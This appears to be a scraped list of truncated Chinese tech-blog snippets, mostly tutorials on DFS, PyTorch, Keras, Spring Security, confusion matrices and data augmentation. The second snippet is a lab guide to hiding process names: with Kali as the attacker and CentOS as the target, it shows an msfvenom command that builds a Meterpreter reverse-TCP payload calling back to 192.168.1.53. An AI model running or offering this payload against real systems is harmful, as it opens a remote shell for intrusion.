在计算机科学中，图是一种非线性数据结构，由顶点和边组成。图的遍历是图论中的一个基本问题，而深度优先遍历（DFS）是其中的一种重要方法。         深度优先遍历的核心思想是尽可能深地搜索图的分支。它通常使用递归或栈来实现。遍历过程如下：         1. 选择一个起始节点，并将其标记为已访问。         2. 遍历该节点的所有邻居节点，对于每个未访问过的邻居节点，递归地执...

隐藏进程名的具体步骤： 环境准备： 确保你有两台机器：一台作为攻击者（Kali Linux），另一台作为目标（CentOS 7.6）。配置网络，使两者可以互相访问。 生成Payload： 在Kali Linux上使用msfvenom命令生成一个payload：msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.53 LPORT=...

  目录 一、深度学习基础 1.1 神经网络简介 1.2 激活函数 1.3 损失函数 1.4 优化算法 二、PyTorch基础 2.1 PyTorch简介 2.2 张量操作 2.3 构建神经网络  2.4训练模型 2.5 模型评估 三、PyTorch实战 3.1 数据加载与预处理 3.2 模型定义与训练 3.3 模型评估与调优 3.4 模型保存与加载 四、深度学习的实际应用 4.1 图像分类 4.1....

1. 前言 欢迎来到【Spring Security系列】！在当今数字化时代，安全是任何应用程序都必须优先考虑的核心问题之一。而在众多安全框架中，Spring Security 作为一个功能强大且广泛应用的安全框架，为 Java 应用程序提供了全面的身份验证、授权、攻击防护等功能。而随着移动应用的普及，小程序作为一种轻量级、跨平台的应用形式，其安全性也成为了开发者们关注的焦点。本文将带领您深入探索如...

s是一个高级神经网络API，由纯Python编写并能够运行在TensorFlow、Theano和CNTK之上。Keras以简洁和可扩展性为目标，使研究人员能够快速实验，并能在生产环境中轻松部署。无论是深度学习的新手还是经验丰富的研究人员，Keras都能快速构建和训练深度学习模型。本文将详细介绍Keras库的安装、主要功能、基本操作、高级功能及其实践应用，并提供丰富的示例代码。 安装 Keras可以通过...

：',num2str(ERR2)]); save R1.mat139 4.算法理论概述        时间序列预测是数据分析中的一个重要分支，它涉及到对未来事件的预测，基于历史数据中的模式和趋势。在深度学习领域，卷积神经网络（CNN）和循环神经网络（RNN）的组合，特别是结合长短时记忆单元（LSTM）或门控循环单元（GRU），已成为处理时间序列数据的强大工具。 4.1 CNN基础        卷积...

概述 混淆矩阵是一种在机器学习和数据科学中广泛使用的分析工具，用于评估分类模型的性能。它通过比较实际类别和模型预测的类别来提供模型性能的详细信息。以下是混淆矩阵的一些关键点： 结构：混淆矩阵是一个表格，通常有两行两列（对于二分类问题）或更多行和列（对于多分类问题）。每一行代表实际类别，每一列代表预测类别。 元素：矩阵中的元素表示不同类别的样本数量。具体来说： 真阳性（TP）：正确预测为正类的样本数量...

2024  届本科毕业论文（设计）  基于Hadoop的地震预测的 分析与可视化研究 姓    名：____田伟情_________ 系    别：____信息技术学院___ 专    业：数据科学与大数据技术 学    号：__2011103094________ 指导教师：_____王双喜________ 年   月   日 目 录 1 绪论 2  相关技术与工具 2.1  大数据技术概述 2....

一、简介 不需要修改标签的数据增强有变明，变暗，hsv增强，color增强，cutout，模拟太阳光，雨水，雾等。 二、 代码 import randomimport numpy as npimport os.pathimport cv2from PIL import Imagefrom PIL import ImageEnhancefrom torchvision import tra...

课程地址 最近做实验发现自己还是基础框架上掌握得不好，于是开始重学一遍PyTorch框架，这个是课程笔记，此节课很详细，笔记记的比较粗，这个视频课是需要有点深度学习数学基础的，如果没有数学基础，可以一边学一边查一查 1. Transforms 我们导入到数据集中的图片可能大小不一样，数据并不总是以训模型所需的最终处理形式出现。我们使用Transforms对数据进行一些操作，使其适合训练（比如统一图片...